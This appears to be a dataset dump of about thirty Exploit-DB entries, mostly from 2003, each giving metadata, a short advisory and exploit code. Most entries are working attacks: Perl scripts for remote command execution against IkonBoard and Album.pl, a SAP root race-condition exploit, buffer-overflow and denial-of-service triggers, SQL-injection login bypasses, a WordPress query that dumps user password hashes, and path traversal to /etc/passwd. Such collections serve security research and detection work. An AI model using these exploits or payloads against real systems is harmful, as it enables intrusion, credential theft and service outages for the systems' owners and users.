QLWD/code_shield huggingface dataset:
标题: Libopt.a 3.1x - Error Logging Buffer Overflow (1) EDB-ID: 22537 CVE: 2003-0390 类型: DOS 平台: LINUX 发布日期: 2003-04-24 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/7433/info

Libopt library has been reported prone to a buffer overflow vulnerability.

It has been reported that several Libopt.a error logging functions, may be prone to buffer overflow vulnerabilities when handling excessive data. The data may be supplied as an argument to a program linked to the vulnerable library. This condition arises from a lack of sufficient bounds checking performed on the user-supplied data, before it is copied into a memory buffer. As a result the bounds of an internal stack-based memory buffer may be overflowed and adjacent memory corrupted with attacker supplied data. It should be noted that no SUID applications linked to this library are currently known.

Although unconfirmed this vulnerability may be exploited to execute arbitrary attacker supplied code.

It should be noted that although this vulnerability was reported to affect Libopt.a version 3.18 previous versions might also be affected. 
*/

/* To compile vuln.c :                              */
/* cc -o vuln vuln.c /path/to/opt-3.18/src/libopt.a */

main(int *argc, char **argv)
{
  /* use OPT opt_atoi() */
        int y = opt_atoi(argv[1]);        printf("opt_atoi(): %i\n", y);
} URL: https://www.exploit-db.com/exploits/22537
标题: Alt-N WebAdmin 2.0.x - Remote File Disclosure EDB-ID: 22542 CVE: 2003-1463 类型: REMOTE 平台: CGI 发布日期: 2003-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/7439/info

Reportedly, remote users can discover the installation directory of certain software on the underlying system by submitting an HTTP request to the WebAdmin server. This could allow an attacker to obtain sensitive information.

http://www.example.com/WebAdmin.dll?session=X&Program=MDaemon&Directory:Name=C:\MDaemon\App&File:Name=MDAEMON.INI&View=EditFile URL: https://www.exploit-db.com/exploits/22542
标题: Truegalerie 1.0 - Unauthorized Administrative Access EDB-ID: 22534 CVE: 2003-1488 类型: WEBAPPS 平台: PHP 发布日期: 2003-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/7427/info

A vulnerability has been reported for Truegalerie that may result in unauthorized administrative access. The vulnerability exists due to insufficient sanitization of some URI values. 

http://[target]/admin.php?loggedin=1 URL: https://www.exploit-db.com/exploits/22534
标题: Macromedia ColdFusion MX 6.0 - Error Message Full Path Disclosure EDB-ID: 22544 CVE: 2003-1469 类型: WEBAPPS 平台: CFM 发布日期: 2003-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/7443/info

A vulnerability has been reported for Macromedia ColdFusion MX that may reveal the physical path information to attackers.

When certain malformed URL requests are received by the server, an error message is returned containing the full path of the ColdFusion installation.

http://host:8500/CFIDE/probe.cfm URL: https://www.exploit-db.com/exploits/22544
标题: Mike Bobbitt Album.PL 0.61 - Remote Command Execution EDB-ID: 22545 CVE: 2003-1456 类型: WEBAPPS 平台: CGI 发布日期: 2003-04-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/7444/info

A remote command execution vulnerability has been reported for Album.pl. The vulnerability reportedly exists when alternate configuration files are used.

The precise technical details of this vulnerability are currently unknown. This BID will be updated as further information is available.

#!/usr/bin/perl -w

use LWP::UserAgent;
use HTTP::Request;
use HTTP::Response;
$| = 1;

if (!$ARGV[0] && !$ARGV[1])
{
 print "\n Usage: perl $0 <album_uri> \"<command>\" \n\n";
 exit;
}

$command="$ARGV[0]?configfile=$ARGV[1]|";

my $conn=LWP::UserAgent->new();
my $data=HTTP::Request->new(GET => $command);
my $result=$conn->request($data);
if ($result->is_error())
{
 printf " %s\n", $result->status_line;
}
else
{
 print "Success: $result\n";
} URL: https://www.exploit-db.com/exploits/22545
标题: Microsoft Internet Explorer 5 - Remote 'URLMON.dll' Remote Buffer Overflow EDB-ID: 22530 CVE: 2003-0113 类型: REMOTE 平台: WINDOWS 发布日期: 2003-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/7419/info

A vulnerability has been discovered in Microsoft Internet Explorer. Due to insufficient bounds checking performed by URLMON.DLL it may be possible for a malicious web server to trigger a buffer overflow. This could result in the execution of arbitrary code within the context of the client user. 

#!/usr/bin/perl 
# 
# Name this file as "urlmon-bo.cgi" 
$LONG="A"x300; 
print "Content-type: $LONG\r\n"; 
print "Content-encoding: $LONG\r\n"; 
print "\r\n"; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8- - URL: https://www.exploit-db.com/exploits/22530
标题: SAP Database 7.3/7.4 - SDBINST Race Condition EDB-ID: 22531 CVE: 2003-0265 类型: LOCAL 平台: LINUX 发布日期: 2003-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/7421/info

SAP Database SDBINST has been reported prone to a race condition vulnerability.

It has been reported that the SAP Database install tool SDBINST may perform operations non-atomically when installing the SAP database. This condition may open a window of opportunity for a malicious user to replace one of two SAP Database files with a malicious file, before SBDINST sets the setuid bit on the files.

An attacker may exploit this vulnerability to gain root privileges. 

#!/bin/perl

while (1) {

$test =`grep -sh PRECOM.ins
/tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/LIST*`;

if ( $test =~ /PRECOM/ ) {
system("cp /home/lwc/run /usr/sapdb/depend/pgm/lserver");
exit(1);
}

} URL: https://www.exploit-db.com/exploits/22531
标题: Battleaxe Software BTTLXE Forum - 'login.asp' SQL Injection EDB-ID: 22529 CVE: 2003-0215 类型: WEBAPPS 平台: ASP 发布日期: 2003-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/7416/info

bttlxe Forum is a web-based discussion forum implemented in ASP.

An SQL injection vulnerability has been reported to affect the 'login.asp' page of bttlxe Forum.

The condition is reportedly due to insufficient sanitization of externally supplied data that is used to construct SQL queries. This data may be supplied via the 'password' field during the authentication process. The consequences may vary depending on the particular database implementation and the nature of the specific queries. One scenario reported was bypassing the bttlxe forum authentication system, however other attacks may also be possible.

Log into a vulnerable forum using the following password:
'or''='

A username is not required. URL: https://www.exploit-db.com/exploits/22529
标题: Apache Mod_Access_Referer 1.0.2 - Null Pointer Dereference Denial of Service EDB-ID: 22505 CVE: 2003-1054 类型: DOS 平台: MULTIPLE 发布日期: 2003-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/7375/info

A vulnerability has been reported for the mod_access_referer Apache module. The problem occurs when parsing invalid HTTP referer header fields. If this vulnerability were to be triggered, it may be possible to trigger a NULL pointer dereference, effectively causing Apache to segfault.

Referer: ://its-missing-http.com URL: https://www.exploit-db.com/exploits/22505
标题: IkonBoard 3.1 - Lang Cookie Arbitrary Command Execution (2) EDB-ID: 22500 CVE: 2003-0770 类型: WEBAPPS 平台: CGI 发布日期: 2003-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/7361/info
 
It has been reported that IkonBoard is prone to an arbitrary command execution vulnerability. The vulnerability is due to insufficient sanitization performed on user supplied cookie data.
 
An attacker may exploit this issue to execute arbitrary commands in the security context of the web server hosting the vulnerable IkonBoard. 

#!/usr/bin/perl
#
#  Date: 5 May 2003
#  Author: snooq [http://www.angelfire.com/linux/snooq/]
#
#  Ikonboard 3.1.1 Remote Command Execution PoC
#  ============================================
#  This bug was found by Nick Cleaton.
#
#  For more info and patch, go to:
#  http://archives.neohapsis.com/archives/bugtraq/2003-04/0027.html
#
#  Use at your very own risk.
#
#  Greetz.. my team mates: JF, Nam, ET..
#  And some new frens: Kader, Bufferoulis, Neil... ;)
#
use Socket;
use FileHandle;

if ($ARGV[0] eq '') {
 print "Usage: $0 <host> [cmd] [path]\n";
 exit;
}

my $port=80;
my $host=$ARGV[0];
my $addr=getaddr($ARGV[0]);
my $cmd=$ARGV[1]?($ARGV[1]):"/bin/uname -a";
my $path=$ARGV[2]?($ARGV[2]):"/cgi-bin/ikonboard.cgi";
my $buff=URLEncode(".\0\" unless(1);"
     ."print \"Content-type: text/plain\\r\\n\\r\\n\";"
     ."print \"---BEGIN---\\n\".`$cmd`.\"\\n---END---\";exit;#");

socket(SOCKET,PF_INET,SOCK_STREAM,(getprotobyname('tcp'))[2]);
connect(SOCKET,pack('Sna4x8',AF_INET,$port,$addr,2)) || die "Can't connect: $!\n";

SOCKET->autoflush();

print SOCKET "GET $path HTTP/1.1\r\n";
print SOCKET "Host: $host\r\n";
print SOCKET "Cookie: lang=$buff\r\n";
print SOCKET "Connection: close\r\n\r\n";
print "Ikonboard Exploit, by snooq [ jinyean\@hotmail.com ]\n\n";

while (<SOCKET>) {
 if (/^---BEGIN---/) {
  print "> $cmd\n";
  while (<SOCKET>){
   if (/^---END---/) { exit; }
   print; 
  } 
 }
}

print "$host seems not vulnerable.\n";

exit;

sub getaddr {
 my $host=($_[0]);
 my $n=$host;
 $n=~tr/\.//d;

 if ($n=~m/\d+/) {
  return pack('C4',split('\.',$host));
 }
 else {
  return (gethostbyname($host))[4];
 }
}

# URLEncode routine, courtesy of Glenn Fleishman 

sub URLEncode {
 my $theURL=$_[0];
 $theURL=~ s/([\W])/"%".uc(sprintf("%2.2x",ord($1)))/eg;
 return $theURL;
} URL: https://www.exploit-db.com/exploits/22500
标题: Xinetd 2.1.x/2.3.x - Rejected Connection Memory Leakage Denial of Service EDB-ID: 22508 CVE: 2003-0211 类型: DOS 平台: LINUX 发布日期: 2003-04-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/7382/info

A denial of service vulnerability has been reported for Xinetd. The vulnerability exists due to memory leaks occuring when connections are rejected.

Numerous, repeated connections to a vulnerable Xinetd server will result in the consumption of all available memory resources thereby causing a denial of service condition. 

while true; do telnet localhost chargen < /dev/null; done; URL: https://www.exploit-db.com/exploits/22508
标题: IkonBoard 3.1 - Lang Cookie Arbitrary Command Execution (1) EDB-ID: 22499 CVE: 2003-0770 类型: WEBAPPS 平台: CGI 发布日期: 2003-04-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/7361/info

It has been reported that IkonBoard is prone to an arbitrary command execution vulnerability. The vulnerability is due to insufficient sanitization performed on user supplied cookie data.

An attacker may exploit this issue to execute arbitrary commands in the security context of the web server hosting the vulnerable IkonBoard. 

#!/usr/bin/perl -w
use strict;

my $HOST = 'www.example.com';
my $PORT = 80;
my $PATH = '/cgi-bin/ikonboard.cgi';
my $HEAD = qq|"Content-type: text/plain\r\n\r\n"|;

use IO::Socket;

my $sock = IO::Socket::INET->new("$HOST:$PORT") or die "connect: $!";

my $val =
     qq|.\0"if print($HEAD,map"\$_ => \$ENV{\$_}\n",keys\%ENV)&&exit;#|;

$val =~ s#(\W)# sprintf '%%%.2X', ord $1 #ge;

$sock->print(
    "GET $PATH HTTP/1.1\r\n",
    "Host: $HOST\r\n",
    "Cookie: lang=$val\r\n",
    "Connection: close\r\n",
    "\r\n"
) or die "write: $!";

print while <$sock>; URL: https://www.exploit-db.com/exploits/22499
标题: Vignette StoryServer 4.1 - Sensitive Stack Memory Information Disclosure EDB-ID: 22472 CVE: 2003-0400 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/7296/info

It has been reported that Vignette StoryServer, under some circumstances may reveal stack memory content.

If a specially crafted request is made for a page that accepts user-supplied data an error state may be triggered. If the attack is successful a dump of the current stack contents will be returned to the attackers browser within an error message.

The information gathered in this way may be used to mount further attacks against the system.

https://www.example.com/securelogin/1,2345,A,00.html?Errmessage="x214>x214 URL: https://www.exploit-db.com/exploits/22472
标题: Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow (4) EDB-ID: 22471 CVE: 2003-0201 类型: REMOTE 平台: UNIX 发布日期: 2003-04-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/7294/info
   
A buffer overflow vulnerability has been reported for Samba. The problem occurs when copying user-supplied data into a static buffer. By passing excessive data to an affected Samba server, it may be possible for an anonymous user to corrupt sensitive locations in memory.
   
Successful exploitation of this issue could allow an attacker to execute arbitrary commands, with the privileges of the Samba process.
   
It should be noted that this vulnerability affects Samba 2.2.8 and earlier. Samba-TNG 0.3.1 and earlier are also affected. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22471.tar.gz URL: https://www.exploit-db.com/exploits/22471
标题: PHPSysInfo 2.0/2.1 - 'index.php' LNG File Disclosure EDB-ID: 22459 CVE: 2003-0536 类型: WEBAPPS 平台: PHP 发布日期: 2003-04-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/7286/info

PHPSysInfo has been reported to be vulnerable to a file disclosure issue.

Local users may be capable of influencing the include path for PHPSysinfo language include files. If the malicious language file is symlinked to a web server readable file, the contents of the linked file may be disclosed to the attacker. The file may also contain PHP code which may be executed in the context of the web server hosting the vulnerable application.

This attack may lead to confidential or sensitive information disclosure, which could be used to launch other attacks.

~$ ln -s /etc/passwd /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p


~$ echo "<?php phpinfo() ?>" > /tmp/p.php
http://www.example.com/index.php?lng=../../../../tmp/p URL: https://www.exploit-db.com/exploits/22459
标题: Abyss Web Server 1.1.2 - Incomplete HTTP Request Denial of Service EDB-ID: 22460 CVE: 2003-1364 类型: DOS 平台: WINDOWS 发布日期: 2003-04-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/7287/info

A denial of service vulnerability has been reported for Abyss Web Server. The vulnerability exists when Abyss attempts to parse certain incomplete HTTP headers. 

GET / HTTP/1.0
Connection:

GET / HTTP/1.0
Range: URL: https://www.exploit-db.com/exploits/22460
标题: Justice Guestbook 1.3 - Full Path Disclosure EDB-ID: 22444 CVE: 2003-1535 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/7234/info

A path disclosure vulnerability has been reported for Guestbook. The issue occurs when a request is made to the cfooter.php3 PHP script page.

Access to sensitive filesystem information may aid an attacker in launching further attacks against a target system

http://hostname/jgb_eng_php3/cfooter.php3 URL: https://www.exploit-db.com/exploits/22444
标题: ScozBook 1.1 - Full Path Disclosure EDB-ID: 22445 CVE: 2003-1555 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-29 漏洞利用脚本: source: https://www.securityfocus.com/bid/7236/info

A path disclosure vulnerability has been reported for ScozBook. The issue occurs when a request is made to the view.php script page.

Access to sensitive filesystem information may aid an attacker in launching further attacks against a target system. 

http://hostname/scozbook/view.php?PG=test URL: https://www.exploit-db.com/exploits/22445
标题: HP Instant TopTools 5.0 - Remote Denial of Service EDB-ID: 22447 CVE: 2003-0169 类型: DOS 平台: WINDOWS 发布日期: 2003-03-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/7246/info

It has been reported that Instant TopTools does not properly handle some types of requests. Because of this, a remote user could potentially deny service to a host using the vulnerable software. 

http://www.example.com/cgi-bin/hpnst.exe?c=p+i=hpnst.exe URL: https://www.exploit-db.com/exploits/22447
标题: PHP-Nuke 6.5 Addon - 'Viewpage.php' File Disclosure EDB-ID: 22422 CVE: 2003-1545 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/7191/info

PHP-Nuke has been reported prone to a file disclosure vulnerability when using the viewpage.php addon.

It has been reported that PHP-Nuke may disclose arbitrary web server readable files under certain circumstances.

It should be noted that this issue reportedly affects PHP-Nuke version 6.5 when running a specific configuration, however other versions may also be affected.

http://www.example.com/viewpage.php?file=/etc/passwd URL: https://www.exploit-db.com/exploits/22422
标题: PHP 4.x - 'socket_recvfrom()' Signed Integer Memory Corruption EDB-ID: 22426 CVE: 2003-0166 类型: DOS 平台: PHP 发布日期: 2003-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/7198/info

A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socket_recvfrom() and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out sanity checks on user-supplied argument values, making it prone to an integer overflow.

This may make it possible for an attacker to trigger a denial of service. Although it has not been confirmed, it may also be possible to exploit this issue to execute arbitrary code.

It should be noted that socket functionality is only included in PHP if compiled with the "--enable-sockets" option.

<?php
$buf = "";
$name = "";
socket_recvfrom(socket_create(AF_INET, SOCK_STREAM, 0), $buf, -3, 0,
$name);
?> URL: https://www.exploit-db.com/exploits/22426
标题: WordPress Plugin All Video Gallery 1.1 - SQL Injection EDB-ID: 22427 CVE: 2012-6653 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-02 漏洞利用脚本: # Exploit Title: Wordpress All Video Gallery 1.1 SQL Injection Vulnerability
# Google Dork: inurl:"all-video-gallery/config.php?vid="
# Exploit Author: Ashiyane Digital Security Team
# Software Link: http://allvideogallery.mrvinoth.com/
# Category: Web Application
# Version: 1.1
# Tested on: Windows 7
###############################################################
* Location:  http://site.com/wp-content/plugins/all-video-gallery/config.php?vid=[SQL]
* Exploit Code: http://site.com/wp-content/plugins/all-video-gallery/config.php?vid=1&pid=11&pid=-1+union+select+1,2,3,4,group_concat(user_login,0x3a,user_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41+from+wp_users--
***************************************************************
* Greetz to: My Lord ALLAH
* Sp Tnx To: Behrooz_Ice,Q7X,Ali_Eagle,Azazel,iman_taktaz,sha2ow,0x21HATE,A.S.P.I.R.I.N,am118,Angel--D3m0n,angola,AR455,Azad,Black-Hole,Classic,Encoder,ERroR,Hashor
* HASSAN20,HidDeEn,hossein19123,jooooondost,Kaz3m,ll_Invisible_ll,majidflash,megacpu,MehrdadLinux,Milad-Bushehr,MostafaBestMan,MR.SAMAN,Mute,N4H,Pr0grammer,PrinceofHacking
* Rizux,Rz04,S!YOU.T4r.6T,Sil3nt Di3,The Smith,unique2world,Unline,V!T0N,X-HIDDEN-X
* Crypt0,khatarnak,Milad22,MR.Vinci,Pirjo,V1R4N64R
* And All Of My Friends 
* The Last One : My Self, Milwar 
***************************************************************
############################################################### URL: https://www.exploit-db.com/exploits/22427
标题: PHP 4.x - 'socket_recv()' Signed Integer Memory Corruption EDB-ID: 22425 CVE: 2003-0166 类型: DOS 平台: PHP 发布日期: 2003-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/7197/info

A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socket_recv() and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out sanity checks on user-supplied argument values, making it prone to an integer overflow.

This may make it possible for an attacker to trigger a denial of service. Although it has not been confirmed, it may also be possible to exploit this issue to execute arbitrary code.

It should be noted that socket functionality is only included in PHP if compiled with the "--enable-sockets" option.

<?php
$buf = "";
socket_recv(socket_create(AF_INET, SOCK_STREAM, 0), $buf, -3, 0);
?> URL: https://www.exploit-db.com/exploits/22425
标题: Planetmoon - Guestbook Clear Text Password Retrieval EDB-ID: 22408 CVE: 2003-1541 类型: WEBAPPS 平台: CGI 发布日期: 2003-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/7167/info

A vulnerability has been reported in Planetmoon Guestbook. It has been reported that remote users may be able to retrieve clear text password lists. Access to this data may allow an attacker to carry out further attacks against a target user.

http://[somehost]/[gb_dir]/files/passwd.txt URL: https://www.exploit-db.com/exploits/22408
标题: PHP 4.3 - 'socket_iovec_alloc()' Integer Overflow EDB-ID: 22419 CVE: 2003-0166 类型: DOS 平台: PHP 发布日期: 2003-03-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/7187/info

A vulnerability has been reported in PHP versions 4.3.1 and earlier. The problem occurs in the socket_iovec_alloc() and may allow an attacker to corrupt memory. Specifically, the affected function fails to carry out sanity checks on user-supplied argument values, making it prone to an integer overflow.

This may make it possible for an attacker to trigger a denial of service. Although it has not been confirmed, it may also be possible to exploit this issue to execute arbitrary code.

It should be noted that socket functionality is only included in PHP if compiled with the "--enable-sockets" option.

<?php
socket_iovec_alloc(0x20000000);
?> URL: https://www.exploit-db.com/exploits/22419
标题: Advanced Poll 2.0 - Remote Information Disclosure EDB-ID: 22412 CVE: 2003-1181 类型: WEBAPPS 平台: PHP 发布日期: 2003-03-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/7171/info

It has been reported that an information disclosure vulnerability exists in Advanced Poll. Because of this, a remote user to potentially access privileged information that could lead to further attack against the host and it's users.

http://www.example.com/[poll_dir]/db/info.php
http://www.example.com/[poll_dir]/textfile/info.php URL: https://www.exploit-db.com/exploits/22412
标题: Kerio Personal Firewall 2.1.x - Remote Authentication Packet Buffer Overflow (1) EDB-ID: 22417 CVE: 2003-0220 类型: DOS 平台: WINDOWS 发布日期: 2003-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/7180/info

A buffer-overflow vulnerability has been discovered in Kerio Personal Firewall. The problem occurs during the administration authentication process. An attacker could exploit this vulnerability by forging a malicious packet containing an excessive data size. The application then reads this data into a static memory buffer without first performing sufficient bounds checking. 

Successful exploits of this vulnerability may allow an attacker to execute arbitrary commands on a target system, with the privileges of the firewall. 

Note that this vulnerability affects Kerio Personal Firewall 2.1.4 and earlier.

import os
import socket
import struct
import string

def g():
     fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     try:
         fd.connect(('192.168.66.160', 44334))
         fd.recv(10)
         fd.recv(256)
         fd.send(struct.pack('!L', 0x149c))
         astr = 'A'*0x149c
         fd.send(astr)

     except Exception, e:
         print e
         pass

     fd.close()

g() URL: https://www.exploit-db.com/exploits/22417
标题: WFChat 1.0 - Information Disclosure EDB-ID: 22388 CVE: 2003-1540 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/7147/info

An information disclosure vulnerability has been reported for WFChat. The vulnerability will result in the disclosure of authentication information to a remote attacker.

Information obtained in this manner may allow the attacker to launch further attacks against a vulnerable system.

http://[somehost]/chat/!nicks.txt
http://[somehost]/chat/!pwds.txt URL: https://www.exploit-db.com/exploits/22388